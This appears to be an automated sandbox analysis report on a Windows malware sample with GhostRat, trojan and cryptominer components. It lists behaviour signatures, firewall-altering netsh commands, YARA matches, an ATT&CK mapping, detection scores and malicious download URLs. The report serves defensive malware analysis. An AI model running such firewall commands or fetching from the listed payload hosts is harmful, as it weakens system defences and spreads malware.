Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00409340 lstrcatA,GetForegroundWindow,lstrlenA,lstrlenA,lstrlenA,GetLocalTime,wsprintfA,GetWindowTextA,

11_2_00409340

Source: C:\Users\user\Desktop\MSSQLH.exe

Code function: 1_2_004061CB OpenProcessToken,LookupAccountNameA,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,

1_2_004061CB

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Code function: 0_2_004145DA GetVersion,GetProcessVersion,LoadCursorA,LoadCursorA,LoadCursorA,

0_2_004145DA

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Adds new windows firewall policy

Source: C:\Windows\Temp\Hooks.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block

Contains functionality to modify windows services which are used for security filtering and protection

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00411A50 OpenServiceA 00000000,sharedaccess,000F01FF

11_2_00411A50

Modifies the windows firewall

Source: C:\Windows\SysWOW64\svchost.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\Temp\Hooks.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block

Stealing of Sensitive Information

Yara detected GhostRat

Source: Yara match	File source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1952945282.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Remote Access Functionality

Yara detected GhostRat

Source: Yara match	File source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1952945282.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Source: C:\Users\user\Desktop\MSSQLH.exe

Code function: cmd.exe /c

1_2_004099B8

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	311 Disable or Modify Tools	121 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Create Account	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Account Discovery	Remote Desktop Protocol	121 Input Capture	22 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Service Execution	232 Windows Service	232 Windows Service	1 Disable or Modify System Firewall	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	212 Process Injection	31 Obfuscated Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	36 System Information Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 Network Share Discovery	VNC	GUI Input Capture	123 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	331 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	231 Masquerading	Proc Filesystem	151 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	3 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	11 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	212 Process Injection	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Indicator Removal	Keylogging	1 Remote System Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
38iGnQnL33.exe	71%	ReversingLabs	Win32.Exploit.CVE-2021-1675
38iGnQnL33.exe	78%	Virustotal		Browse
38iGnQnL33.exe	100%	Avira	HEUR/AGEN.1342695
38iGnQnL33.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Logs\RunDllExe.dll	100%	Avira	TR/Beaugrit.aba
C:\Windows\Microsoft.NET\ctfmoon.exe	100%	Avira	TR/Redcap.gubrb
C:\Users\user\Desktop\MSSQLH.exe	100%	Avira	TR/Beaugrit.aba
C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	100%	Avira	HEUR/AGEN.1313076
C:\Users\user\Desktop\MSSQLH.exe	100%	Joe Sandbox ML
C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\MSSQLH.exe	88%	ReversingLabs	Win32.Trojan.BlackMoon
C:\Users\user\Desktop\MSSQLH.exe	72%	Virustotal		Browse
C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	83%	ReversingLabs	Win64.Trojan.DisguisedXMRigMiner
C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	77%	Virustotal		Browse
C:\Windows\Microsoft.NET\Meson.exe	3%	ReversingLabs
C:\Windows\Microsoft.NET\Meson.exe	1%	Virustotal		Browse
C:\Windows\Microsoft.NET\ctfmoon.exe	65%	ReversingLabs	Win32.Trojan.Tnega
C:\Windows\Microsoft.NET\ctfmoon.exe	62%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	4%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	1%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	0%	Virustotal		Browse
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	0%	ReversingLabs
C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
api.iproyal.com	0%	Virustotal	Browse
www.4i7i.com	5%	Virustotal	Browse
gtxvdqvuweqs.com	0%	Virustotal	Browse
blnc.traffmonetizer.com	0%	Virustotal	Browse
www.362-com.com	7%	Virustotal	Browse
open.a.shifen.com	0%	Virustotal	Browse
data.traffmonetizer.com	1%	Virustotal	Browse
members.3322.net	2%	Virustotal	Browse
members.3322.org	5%	Virustotal	Browse
downloads.traffmonetizer.com	1%	Virustotal	Browse
opendata.baidu.com	0%	Virustotal	Browse
down.ftp21.cc	16%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
api.iproyal.com	93.189.62.83	true	false	0%, Virustotal, Browse
srv-us9.traffmonetizer.com	5.161.76.235	true	false
down.ftp21.cc	119.203.212.165	true	true	16%, Virustotal, Browse
blnc.traffmonetizer.com	144.76.194.78	true	false	0%, Virustotal, Browse
srv-us8.traffmonetizer.com	5.161.107.33	true	false
www.4i7i.com	1.226.84.135	true	true	5%, Virustotal, Browse
srv-us14.traffmonetizer.com	5.161.234.23	true	false
downloads.traffmonetizer.com	49.12.131.126	true	false	1%, Virustotal, Browse
gtxvdqvuweqs.com	16.162.201.176	true	false	0%, Virustotal, Browse
www.362-com.com	1.226.84.135	true	true	7%, Virustotal, Browse
srv-us17.traffmonetizer.com	5.78.80.148	true	false
srv-us18.traffmonetizer.com	5.78.86.196	true	false
srv-us16.traffmonetizer.com	5.78.114.151	true	false
open.a.shifen.com	45.113.194.127	true	false	0%, Virustotal, Browse
data.traffmonetizer.com	136.243.150.101	true	false	1%, Virustotal, Browse
members.3322.net	118.184.169.48	true	false	2%, Virustotal, Browse
srv-us22.traffmonetizer.com	5.161.242.15	true	false
opendata.baidu.com	unknown	unknown	true	0%, Virustotal, Browse
members.3322.org	unknown	unknown	true	5%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://downloads.traffmonetizer.com/downloads/Installer.exe	true
https://blnc.traffmonetizer.com/resolve	true
https://data.traffmonetizer.com/downloads/latest	true
https://ipinfo.io/	true
http://down.ftp21.cc/Update.txt	true
http://ssl.ftp21.cc/MpMgDLL.jpg	true
http://down.ftp21.cc/64.jpg	true
https://data.traffmonetizer.com/downloads/Installer.exe	true

URLs from Memory and Binaries

Name	Source	Malicious
http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
